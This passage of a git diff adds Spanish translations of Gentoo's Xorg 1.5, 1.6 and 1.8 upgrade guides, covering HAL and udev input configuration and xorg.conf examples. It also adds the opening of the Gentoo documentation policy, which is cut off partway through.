+    X ya no fuerza una doble construcción escondida de
+    <c>media-libs/mesa</c>. Mesa ahora construye el renderizador en
+    software (swrast) y cualquier controlador de hardware escogido por
+    medio de la variable de entorno <c>VIDEO_CARDS</c>.
+  </li>
+  <li>
+    Dado el cambio anteriormente descrito, el parámetro USE <c>dri</c>
+    ya no existe. Xorg siempre tendrá soporte para OpenGL, a no ser
+    que se construya con <c>USE=minimal</c>.
+  </li>
+  <li>
+    Aunque XPrint no estará presente a partir de la versión 1.6 de
+    Xorg, hemos decidido no usarlo a partir de la versión 1.5. El
+    soporte XPrint ha sido removido de todas las librerías.
+  </li>
+  <li>
+    Xorg ahora soporta el enchufado en caliente de dispositivos por
+    medio de HAL, vea la sección siguiente para configurarlo
+    apropiadamente.
+  </li>
+  <li>
+    El controlador "synaptics" está proporcionado por el paquete
+    <c>x11-drivers/xf86-input-synaptics</c>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando las Entradas</title>
+<section>
+<title>Con HAL (usando xf86-input-evdev)</title>
+<body>
+
+<p>
+En resumidas cuentas, HAL permite configurar las mismas propiedades
+permitidas en <path>xorg.conf</path>, pero con mayor flexibilidad:
+ahora podrán tener mapas por dispositivo, todo proporcionado por el
+controlador <c>xf86-input-evdev</c>.
+</p>
+
+<p>
+Primero, asegúrese de haber construido xorg-server con
+<c>INPUT_DRIVER="evdev"</c>.
+</p>
+
+<p>
+Luego podemos configurar HAL para que reporte correctamente el mapa
+del teclado. HAL usa conjuntos de reglas por dispositivo en
+<path>/usr/share/hal</path>.
+</p>
+
+<impo>
+<e>No</e> efectúe cambios sobre estos archivos, ya que serán
+sobreescritas en la siguiente actualización de HAL. Agregue sus
+propias reglas en <path>/etc/hal/fdi/policy</path>.
+</impo>
+
+<p>
+Archivos de ejemplo para configuraciones FDI estan disponibles en
+<path>/usr/share/doc/hal-*/*.fdi*</path>. Escoja el que mejor describe
+su configuración actual y cópielo a <path>/etc/hal/fdi/policy</path>.
+</p>
+
+<p>
+Por ejemplo, si solo desea una configuración básica para un mapa de
+teclado que no americano (non US), copie el contenido de
+<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path> a
+<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path> (usando
+<c>bzcat</c>) y modifíquelo de acuerdo al mapa deseado.
+</p>
+
+<p>
+No se olvide de consultar <c>man evdev</c> para conocer las
+características de este controlador y sus opciones (especialmente la
+emulación de ruedas en los ratones, emulación del botón central del
+ratón, ...).
+</p>
+
+<note>
+Las versiones actuales de HAL (todavía) no son capaces de leer los
+cambios hechos a los archivos FDI por su cuenta. Habrá que re-iniciar
+el guión de inicio de HAL para que éste vea las modificaciones. Para
+asegurarse que todo está correcto, use la herramienta <c>lshal</c>
+para mostrar el árbol de dispositivos de HAL y busque "input". El
+contenido de las reglas de HAL deben aparecer en la salida de lshal.
+</note>
+</body>
+</section>
+
+<section>
+<title>Con HAL y otros controladores (xf86-input-synaptics, linuxwacom, ...)</title>
+<body>
+
+<p>
+Por defecto, HAL le pedirá al servidor X usar el controlador
+<c>evdev</c> para el acceso a todos los dispositivos de entrada. Sin
+embargo, podemos cambiar a cualquier controlador.
+</p>
+
+<p>
+De manera que se pueden colocar todas las configuraciones de los
+dispositivos de entrada en HAL aunque se utilizen otros controladores
+de dispositivos de entrada, como por ejemplo <c>synaptics</c> o
+<c>linuxwacom</c>.
+</p>
+
+<p>
+Se puede obtener más información acerca de la configuración de estos
+controladores aquí:
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Sin HAL</title>
+<body>
+
+<p>
+Si no desea usar HAL, puede construir <c>xorg-server</c> con
+<c>USE="-hal"</c> o sinó colocarle AutoAddDevices option off en la
+sección ServerFlags del <path>xorg.conf</path>.
+</p>
+
+<pre caption="Apagar AutoAddDevices">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+Ambas opciones permitirán el uso de los controladores viejos
+<c>mouse</c> y <c>kbd</c> por parte del servidor X.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando la tarjeta gráfica</title>
+<section>
+<body>
+
+<p>
+La sección de dispositivos "Device" del xorg.conf debería trabajar sin
+cambios.
+</p>
+
+<p>
+De tener algún problema, aquí listamos algunas cosas que se pueden
+probar:
+</p>
+
+<ul>
+  <li>
+    Intente comentar todas las opciones "Options" en las secciones
+    "Device", "Screen" y "Monitor" del xorg.conf
+  </li>
+  <li>
+    Aún mejor, intente ejecutar Xorg <e>sin</e> <path>xorg.conf</path>
+    (colóquele un nombre como <path>xorg.conf.old</path>)
+  </li>
+</ul>
+
+<p>
+Los controladores Xorg ahora son mucho mejores detectando el tipo de
+hardware que tenga y (exceptuando unos <e>pocos</e> casos especiales)
+debemos guardar la configuración por defecto.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opciones Misceláneas</title>
+<section>
+<body>
+
+<p>
+El manejo anterior de fuentes tipográficas ha sido muy cambiado en
+nuestra versión del 1.5.3. El módulo <c>freetype</c> es ahora inútil,
+ya que el servidor usa <c>libXfont</c> para cargar las fuentes que
+pueda tener para aplicaciones antiguas.
+</p>
+
+<p>
+Respecto a las fuentes tipográficas antiguas, éstas ahora son
+prácticamente inútiles, ya que proporcionamos una fuente "fixed" que
+todas las aplicaciones y herramientas antiguas puedan usar. Le
+advertimos que esta fuente es extremadamente fea.
+</p>
+
+<p>
+Xdmx está roto. No lo use, a no ser que sepa lo que está haciendo.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
new file mode 100644
index 00000000..83a101e8
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml
@@ -0,0 +1,248 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.5-upgrade-guide.xml,v 1.1 2009/04/26 14:20:03 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/upgrading-to-xorg-1.5.xml">
+<title>Guía de Actualización Xorg 1.5</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Esta guía enseña como actualizar X.org a la versión 1.5.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-03-30</date>
+
+<chapter>
+<title>Cambios del Ebuild</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    El paquete <c>x11-misc/xkbdata</c> está caducado. Si no está
+    usando su sustituto (<c>x11-misc/xkeyboard-config</c>), Portage
+    podría pedir su remoción antes del proceder con la actualización.
+  </li>
+  <li>
+    X ya no fuerza una doble construcción escondida de
+    <c>media-libs/mesa</c>. Mesa ahora construye el renderizador en
+    software (swrast) y cualquier controlador de hardware escogido por
+    medio de la variable de entorno <c>VIDEO_CARDS</c>.
+  </li>
+  <li>
+    Dado el cambio anteriormente descrito, el parámetro USE <c>dri</c>
+    ya no existe. Xorg siempre tendrá soporte para OpenGL, a no ser
+    que se construya con <c>USE=minimal</c>.
+  </li>
+  <li>
+    Aunque XPrint no estará presente a partir de la versión 1.6 de
+    Xorg, hemos decidido no usarlo a partir de la versión 1.5. El
+    soporte XPrint ha sido removido de todas las librerías.
+  </li>
+  <li>
+    Xorg ahora soporta el enchufado en caliente de dispositivos por
+    medio de HAL, vea la sección siguiente para configurarlo
+    apropiadamente.
+  </li>
+  <li>
+    El controlador "synaptics" está proporcionado por el paquete
+    <c>x11-drivers/xf86-input-synaptics</c>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando las Entradas</title>
+<section>
+<title>Con HAL (usando xf86-input-evdev)</title>
+<body>
+
+<p>
+En resumidas cuentas, HAL permite configurar las mismas propiedades
+permitidas en <path>xorg.conf</path>, pero con mayor flexibilidad:
+ahora podrán tener mapas por dispositivo, todo proporcionado por el
+controlador <c>xf86-input-evdev</c>.
+</p>
+
+<p>
+Primero, asegúrese de haber construido xorg-server con
+<c>INPUT_DRIVER="evdev"</c>.
+</p>
+
+<p>
+Luego podemos configurar HAL para que reporte correctamente el mapa
+del teclado. HAL usa conjuntos de reglas por dispositivo en
+<path>/usr/share/hal</path>.
+</p>
+
+<impo>
+<e>No</e> efectúe cambios sobre estos archivos, ya que serán
+sobreescritas en la siguiente actualización de HAL. Agregue sus
+propias reglas en <path>/etc/hal/fdi/policy</path>.
+</impo>
+
+<p>
+Archivos de ejemplo para configuraciones FDI estan disponibles en
+<path>/usr/share/doc/hal-*/*.fdi*</path>. Escoja el que mejor describe
+su configuración actual y cópielo a <path>/etc/hal/fdi/policy</path>.
+</p>
+
+<p>
+Por ejemplo, si solo desea una configuración básica para un mapa de
+teclado que no americano (non US), copie el contenido de
+<path>/usr/share/doc/hal-*/use-estonian-layout.fdi.bz2</path> a
+<path>/etc/hal/fdi/policy/10-xinput-configuration.fdi</path> (usando
+<c>bzcat</c>) y modifíquelo de acuerdo al mapa deseado.
+</p>
+
+<p>
+No se olvide de consultar <c>man evdev</c> para conocer las
+características de este controlador y sus opciones (especialmente la
+emulación de ruedas en los ratones, emulación del botón central del
+ratón, ...).
+</p>
+
+<note>
+Las versiones actuales de HAL (todavía) no son capaces de leer los
+cambios hechos a los archivos FDI por su cuenta. Habrá que re-iniciar
+el guión de inicio de HAL para que éste vea las modificaciones. Para
+asegurarse que todo está correcto, use la herramienta <c>lshal</c>
+para mostrar el árbol de dispositivos de HAL y busque "input". El
+contenido de las reglas de HAL deben aparecer en la salida de lshal.
+</note>
+</body>
+</section>
+
+<section>
+<title>Con HAL y otros controladores (xf86-input-synaptics, linuxwacom, ...)</title>
+<body>
+
+<p>
+Por defecto, HAL le pedirá al servidor X usar el controlador
+<c>evdev</c> para el acceso a todos los dispositivos de entrada. Sin
+embargo, podemos cambiar a cualquier controlador.
+</p>
+
+<p>
+De manera que se pueden colocar todas las configuraciones de los
+dispositivos de entrada en HAL aunque se utilizen otros controladores
+de dispositivos de entrada, como por ejemplo <c>synaptics</c> o
+<c>linuxwacom</c>.
+</p>
+
+<p>
+Se puede obtener más información acerca de la configuración de estos
+controladores aquí:
+</p>
+
+<ul>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/xserver/tree/config/x11-input.fdi</uri>
+  </li>
+  <li>
+    <uri>http://cgit.freedesktop.org/xorg/driver/xf86-input-synaptics/tree/fdi/11-x11-synaptics.fdi</uri>
+  </li>
+  <li>
+     <uri>http://cvs.fedoraproject.org/viewvc/rpms/linuxwacom/F-10/10-linuxwacom.fdi?view=markup</uri>
+  </li>
+</ul>
+</body>
+</section>
+
+<section>
+<title>Sin HAL</title>
+<body>
+
+<p>
+Si no desea usar HAL, puede construir <c>xorg-server</c> con
+<c>USE="-hal"</c> o sinó colocarle AutoAddDevices option off en la
+sección ServerFlags del <path>xorg.conf</path>.
+</p>
+
+<pre caption="Apagar AutoAddDevices">
+Option      "AutoAddDevices"    "false"
+</pre>
+
+<p>
+Ambas opciones permitirán el uso de los controladores viejos
+<c>mouse</c> y <c>kbd</c> por parte del servidor X.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Configurando la tarjeta gráfica</title>
+<section>
+<body>
+
+<p>
+La sección de dispositivos "Device" del xorg.conf debería trabajar sin
+cambios.
+</p>
+
+<p>
+De tener algún problema, aquí listamos algunas cosas que se pueden
+probar:
+</p>
+
+<ul>
+  <li>
+    Intente comentar todas las opciones "Options" en las secciones
+    "Device", "Screen" y "Monitor" del xorg.conf
+  </li>
+  <li>
+    Aún mejor, intente ejecutar Xorg <e>sin</e> <path>xorg.conf</path>
+    (colóquele un nombre como <path>xorg.conf.old</path>)
+  </li>
+</ul>
+
+<p>
+Los controladores Xorg ahora son mucho mejores detectando el tipo de
+hardware que tenga y (exceptuando unos <e>pocos</e> casos especiales)
+debemos guardar la configuración por defecto.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opciones Misceláneas</title>
+<section>
+<body>
+
+<p>
+El manejo anterior de fuentes tipográficas ha sido muy cambiado en
+nuestra versión del 1.5.3. El módulo <c>freetype</c> es ahora inútil,
+ya que el servidor usa <c>libXfont</c> para cargar las fuentes que
+pueda tener para aplicaciones antiguas.
+</p>
+
+<p>
+Respecto a las fuentes tipográficas antiguas, éstas ahora son
+prácticamente inútiles, ya que proporcionamos una fuente "fixed" que
+todas las aplicaciones y herramientas antiguas puedan usar. Le
+advertimos que esta fuente es extremadamente fea.
+</p>
+
+<p>
+Xdmx está roto. No lo use, a no ser que sepa lo que está haciendo.
+</p>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
new file mode 100644
index 00000000..aaf8733c
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.6-upgrade-guide.xml,v 1.1 2009/10/02 12:33:34 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/upgrading-to-xorg-1.6.xml" lang="es">
+<title>Guía de actualización a Xorg 1.6</title>
+
+<author title="Autor">
+  <mail link="remi"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Esta guía enseña cómo actualizar X.org a la versión 1.6.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2009-06-14</date>
+
+<chapter>
+<title>Procedimiento de actualización</title>
+<section>
+<body>
+
+<p>
+Al actualizar xorg-server, lo más seguro es que tenga que actualizar
+<c>libxcb</c> también. La actualización de esta librería no es tan
+sencillo como parece, por lo que <uri
+link="libxcb-1.4-upgrade-guide.xml">tiene su propia guía de
+actualización</uri>.
+</p>
+
+<warn>
+Por favor lea y siga la guía de actualización de <c>libxcb</c> antes
+de actualizar xorg-server, o sino correrá el riesgo de echar a perder
+su sistema de mala manera.
+</warn>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Opciones misceláneas</title>
+<section>
+<body>
+
+<p>
+Ahora Xorg ignora las teclas Ctrl-Alt-Backspace, también conocido como
+<e>zapping</e>, de manera predeterminada. Si desea reactivarlo,
+disponemos de estas opciones:
+</p>
+
+<ul>
+  <li>
+    Si usa Gnome, vaya a las preferencias del teclado en el menú
+    Sistema -&gt; Preferencias. En la pestaña de disposición
+    ("Layout"), haga click en opciones de disposición ("Layout
+    Options") y active la secuencia de teclas para cerrar el servidor
+    X ("Key sequence to kill the X server"). Esto será almacenado en
+    GConf.
+  </li>
+  <li>
+    Si desea activar el zapping sin estar en un entorno gráfico,
+    ejecute <c>setxkbmap -option terminate:ctrl_alt_bksp</c>
+  </li>
+</ul>
+
+<p>
+Si desea que el cambio sea permanente, sin tomar en cuenta el entorno
+gráfico, existen otras cuantas opciones:
+</p>
+
+<ul>
+  <li>
+    Si usa HAL para manejar los dispositivos de entrada, copie el
+    siguiente fragmento fdi de HAL al archivo usado para controlar el
+    teclado en <path>/etc/hal/fdi/policy/</path>. <c>&lt;merge
+    key="input.xkb.options"
+    type="string"&gt;terminate:ctrl_alt_bksp&lt;/merge&gt;</c> Si no
+    tiene reglas para personalizar el teclado, puede copiarlas y/o
+    adaptarlas del archivo
+    <path>/usr/share/hal/fdi/policy/10osvendor/10-x11-input.fdi</path>
+  </li>
+  <li>
+    Si todavía utiliza el archivo <path>xorg.conf</path> para manejar
+    sus dispositivos de entrada, agregue lo siguiente a la sección
+    InputDevice del teclado: <c>Option "XkbOptions"
+    "terminate:ctrl_alt_bksp".</c>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
new file mode 100644
index 00000000..9a446690
--- /dev/null
+++ b/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml,v 1.3 2010/06/22 23:08:47 chiguire Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/es/desktop/x/x11/upgrading-to-xorg-1.6.xml" lang="es">
+<title>Guía de actualización a Xorg 1.8</title>
+
+<author title="Autor">
+  <mail link="scarabeus"/>
+</author>
+<author title="Traductor">
+  <mail link="chiguire"/>
+</author>
+
+<abstract>
+Esta guía enseña cómo actualizar X.org a la versión 1.8.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2010-04-09</date>
+
+<chapter>
+<title>Cambio de características</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    Ahora Xorg usa udev para detectar los dispositivos de entrada, de
+    modo que el soporte por medio de HAL es obsoleto. Se recomienda
+    enfáticamente que los usuarios migran hacia udev.
+  </li>
+  <li>
+    La configuración de Xorg es mucho más flexible ahora gracias a
+    opciones genéricas con concordancias y la posibilidad de
+    incorporar múltiples archivos.
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrando hacia el enchufado en caliente con udev</title>
+
+<section>
+<title>Activando el soporte para udev</title>
+<body>
+
+<p>
+La activación de udev solo requiere construir <c>xorg-server</c> con
+el parámetro <c>USE="udev"</c>.
+</p>
+</body>
+</section>
+
+<section>
+<title>Concordancias en las reglas de uso</title>
+<body>
+
+<p>
+Ahora que Xorg obtiene una lista de los dispositivos de entrada
+disponibles usando udev en vez de HAL, el sistema de configuración de
+ha sido modificado para facilitarle las cosas a los usuarios y a los
+responsables de mantenimiento de las distribuciones. Con el enchufado
+en caliente de HAL, la configuración de dispositivos debía
+especificarse con el sistema basado en XML de HAL (los infames
+archivos <c>.fdi</c>) para que Xorg leyera las preferencias de los
+usuarios respecto al mapa de teclado o la aceleración del cursor del
+ratón.
+</p>
+
+<p>
+Como quitarle esas opciones a HAL para dárselos a udev parecía una
+idea aún peor, se decidió devolver la configuración a Xorg y
+flexibilizándola.
+</p>
+
+<warn>
+La configuración se almacena en el archivo <path>xorg.conf</path> o
+bajo el directorio <path>xorg.conf.d</path> pero la detección la
+realiza udev. Asegúrese de tener este parámetro USE activado.
+</warn>
+
+<p>
+Aparece una nueva sección de configuración llamada
+<c>InputClass</c>. Es muy parecida a la sección <c>InputDevice</c>
+pero usa concordancias y por ende se puede configurar múltiples
+dispositivos.
+</p>
+
+<p>
+InputClass funciona concordando con una o más propiedades de los
+dispositivos encontrados por udev, con las siguientes reglas:
+</p>
+
+<ul>
+  <li>MatchProduct</li>
+  <li>MatchVendor</li>
+  <li>MatchDevicePath</li>
+  <li>MatchIsKeyboard</li>
+  <li>MatchIsPointer</li>
+  <li>MatchIsJoystick</li>
+  <li>MatchIsTablet</li>
+  <li>MatchIsTouchpad</li>
+  <li>MatchIsTouchscreen</li>
+</ul>
+
+<note>
+MatchDevicePath usa fnmatch(3) cuando disponible, de manera que se
+puede usar patrones con comodines (por ejemplo, <c>Option
+"MatchDevicePath" "/dev/input/event*"</c>).
+</note>
+</body>
+</section>
+
+<section>
+<title>Ejemplos</title>
+<body>
+
+<pre caption="Configurando todos los touchpads para usar el controlador synaptics">
+Section "InputClass"
+	Identifier "synaptics-all"
+	Driver "synaptics"
+	Option "RTCornerButton" "2"
+	Option "HorizEdgeScroll" "true"
+
+	MatchIsTouchpad "on"
+EndSection
+</pre>
+
+<pre caption="Configurando todos los teclados para una configuración específica">
+Section "InputClass"
+	Identifier "keyboard-all"
+	Driver "evdev"
+	Option "XkbLayout" "es"
+
+	MatchIsKeyboard "on"
+EndSection
+</pre>
+
+<pre caption="Configurando todos los ratones para una configuración específica">
+Section "InputClass"
+	Identifier "mouse-all"
+	Driver "evdev"
+
+	MatchIsPointer "on"
+EndSection
+</pre>
+</body>
+</section>
+
+<section>
+<title>Desactivando el enchufado en caliente</title>
+<body>
+
+<p>
+Si no desea usar ni udev ni HAL, construya <c>xorg-server</c> con
+<c>USE="-udev -hal"</c> o desactive la opción para agregar
+dispositivos automáticamente AutoAddDevices en la sección ServerFlags
+del <path>xorg.conf</path> (o en alguno de los archivos almacenados
+bajo <path>/etc/X11/xorg.conf.d/</path>).
+</p>
+
+<pre caption="Desactivando AutoAddDevices">
+Section "ServerFlags"
+    Option "AutoAddDevices" "false"
+EndSection
+</pre>
+
+<p>
+El desactivar ambos parámetros USE permitirá que el servidor X use los
+antiguos controladores para el ratón y el teclado: <c>mouse</c> y
+<c>kbd</c>.
+</p>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Uso del directorio xorg.conf.d</title>
+<section>
+<title>Dividiendo xorg.conf</title>
+<body>
+
+<p>
+<path>xorg.conf.d</path> es un directorio adicional donde los usuarios
+pueden almacenar afinamientos configuración de Xorg sin tocar el
+archivo de configuración principal <path>xorg.conf</path>.
+</p>
+
+<p>
+El orden de herencia es bastante sencillo. Si existe
+<path>xorg.conf</path>, éste será cargado y acto seguido los archivos
+bajo <path>xorg.conf.d/**.conf</path> serán analizados en orden
+alfabético (de modo que los números tomarán precedencia.
+</p>
+
+<pre caption="Listado ejemplo de directorio xorg.conf.d">
+/etc/X11/xorg.conf.d $ ls
+50-ati.conf  96-synaptics.conf  97-evdev.conf
+</pre>
+
+<pre caption="Contenido ejemplo de 96-synaptics.conf">
+Section "InputDevice"
+	Identifier "touchpad"
+	Driver "synaptics"
+	Option "AutoServerLayout" "on"
+EndSection
+</pre>
+
+<p>
+Podrá constatar que este código es igual que al de <c>xorg.conf</c>. El
+único agregado es la opción <c>"AutoServerLayout"</c>. Con esta opción
+activada el dispositivo no requiere ser referido en la sección
+<c>ServerLayout section</c>.
+</p>
+
+<note>
+La sección InputClass automáticamente activa la opción
+<c>AutoServerLayout</c>, de modo que no hace falta especificarla.
+</note>
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Problemas conocidos</title>
+
+<section>
+<title>Sensor HDAPS de Lenovo</title>
+<body>
+
+<p>
+Para más información, por favor vea el <uri
+link="http://bugs.freedesktop.org/show_bug.cgi?id=22442">fallo registrado</uri>.
+</p>
+
+<pre caption="Desactivando el controlador del acelerómetro HDAPS">
+Section "InputClass"
+	Identifier "ThinkPad HDAPS blacklist"
+	MatchProduct "ThinkPad HDAPS accelerometer data"
+	Option "Ignore" "on"
+EndSection
+</pre>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/es/gdp/doc/doc-policy.xml b/xml/htdocs/proj/es/gdp/doc/doc-policy.xml
new file mode 100644
index 00000000..f4018f9f
--- /dev/null
+++ b/xml/htdocs/proj/es/gdp/doc/doc-policy.xml
@@ -0,0 +1,575 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/es/gdp/doc/doc-policy.xml,v 1.4 2010/05/24 19:50:20 nimiux Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="doc-policy.xml" lang="es">
+
+<title>Política de Documentación de Gentoo Linux</title>
+
+<author title="Author">
+  <mail link="neysx@gentoo.org">Xavier Neys</mail>
+</author>
+<author title="Author">John P. Davis</author>
+<author title="Author">
+    <mail link="swift@gentoo.org">Sven Vermeulen</mail>
+</author>
+<author title="Editor">
+    <mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+<author title="Editor">
+    <mail link="bass@gentoo.org">José Alberto Suárez López</mail>
+</author>
+<author title="Traductora">
+    <mail link="thenewkrispowa@hotmail.com">Cristina Aguilar</mail>
+</author>
+<author title="Traductor">
+    <mail link="yoswink@gmail.com">José Luis Rivero</mail>
+</author>
+<author title="Traductor">
+  <mail link="nimiux" />
+</author>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.0 -->
+
+<abstract>
+Este documento contiene la Política de Documentación de Gentoo,
+las bases que todos los Desarrolladores y Colaboradores de Gentoo
+deberían conocer y aplicar.
+</abstract>
+
+<license/>
+
+<version>4</version>
+<date>2007-02-26</date>
+
+<chapter>
+<title>Introducción</title>
+<section>
+<title>Introducción</title>
+<body>
+
+<p>
+El equipo de documentación de Gentoo Linux aspira a crear documentación
+excepcionalmente profesional que sea totalmente clara y orientada al usuario
+final. Para cumplir esta meta, tenemos reglas muy específicas y pautas que
+<e>toda</e> la documentación debe seguir antes de ser publicada en nuestro
+sitio web, o en cualquier otro sitio.
+</p>
+
+</body>
+</section>
+<section>
+<title>Temas tratados</title>
+<body>
+
+<p>
+Esta política cubre los siguientes asuntos:
+</p>
+
+<ul>
+<li>Organización del Equipo del Proyecto de Documentación</li>
+<li>Pautas de Documentación</li>
+<li>Reclutamiento del Equipo de Documentación</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Organización del Equipo del Proyecto de Documentación</title>
+<section>
+<title>Organización</title>
+<body>
+
+<p>
+El equipo del Proyecto de Documentación de Gentoo se divide en muchos
+equipos más pequeños que trabajan en total cooperación entre ellos. Cada
+equipo pequeño representa un equipo desarrollo activo de un Subproyecto de
+Documentación de Gentoo.
+</p>
+
+<!--
+<p>
+El equipo del Proyecto de Documentación está estratégicamente dirigido por un
+gerente de alto nivel como requiere la
+<uri link="/doc/en/management-structure.xml">Estructura
+de Dirección de Gentoo. </uri>. Este documento describe también las
+responsabilidades del gerente estratégico con respecto a Gentoo Linux.
+</p>
+-->
+
+<p>
+Para las tareas directivas diarias, el proyecto de documentación de Gentoo
+tiene un gerente de operaciones. Esta persona se centra en todas las
+tareas relacionadas con la documentación que son a más corto plazo. El
+gerente de operaciones y el estratégico pueden ser el mismo, si el
+gerente estratégico así lo desea.
+</p>
+
+<p>
+Estos cargos actualmente son desempeñados por las siguientes personas:
+</p>
+
+<table>
+<tr>
+  <th>Posición</th>
+  <th>Nombre del desarrollador</th>
+  <th>Apodo del desarrollador</th>
+</tr>
+<tr>
+  <ti>Gerente estratégico</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+<tr>
+  <ti>Gerente de operaciones</ti>
+  <ti>Xavier Neys</ti>
+  <ti><mail link="neysx@gentoo.org">neysx</mail></ti>
+</tr>
+</table>
+
+<!--
+<p>
+Cada subproyecto tiene un gerente estratégico propio. Él/ella puede
+tener un gerente operacional si lo considera apropiado. Sus
+responsabilidades con el proyecto de documentación de Gentoo son las mismas
+que en la <uri link="/doc/en/management-structure.xml#doc_chap1_sect5">
+Estructura de Dirección de Gentoo.</uri>.
+</p>
+-->
+
+<p>
+Cada subproyecto del Equipo de Documentación de Gentoo se muestran en la
+<uri link="/proj/en/gdp">página del GDP</uri>, junto con sus respectivos
+gerentes estratégicos.
+</p>
+
+<p>
+La decisión de añadir subproyectos está en manos del gerente estratégico.
+</p>
+
+</body>
+</section>
+<section>
+<title>Miembros del equipo del proyecto de documentación</title>
+<body>
+
+<p>
+Cada miembro del Proyecto de Documentación de Gentoo debe estar subscrito a la
+lista de correo
+<mail link="gentoo-doc-subscribe@gentoo.org">gentoo-doc@gentoo.org</mail>.
+Esta lista será utilizada para discutir todos los temas relacionados con la
+documentación. Estará abierta a todas las partes interesadas, sean
+desarrolladores o no.
+</p>
+
+<p>
+Cada miembro del Proyecto de Documentación de Gentoo debe estar suscrito al
+alias <mail>docs-team@gentoo.org</mail>. Este alias es utilizado
+<e>solamente</e> por <uri link="http://bugs.gentoo.org">bugs.gentoo.org</uri>
+para informar al equipo de documentación acerca de los errores relacionados
+con la documentación de Gentoo. Usted puede añadirse editando
+<path>/var/mail/alias/misc/docs-team</path> en dev.gentoo.org.
+</p>
+
+<p>
+Cada miembro del Equipo de Documentación de Gentoo debería estar disponible
+en el canal <c>#gentoo-doc</c> en
+<uri link="http://www.freenode.net">irc.freenode.net</uri> siempre que esté
+conectado.
+</p>
+
+<p>
+Dependiendo de sus responsabilidades, todo miembro puede tener acceso CVS
+limitado a <c>cvs.gentoo.org</c>. El acceso total a CVS está restringido a los
+desarrolladores de Gentoo.  Un <uri link="http://anoncvs.gentoo.org">
+servidor anónimo CVS</uri> esta disponible. Contiene los mismos ficheros que
+nuestro servidor CVS con unos minutos de retraso.
+</p>
+
+</body>
+</section>
+<section>
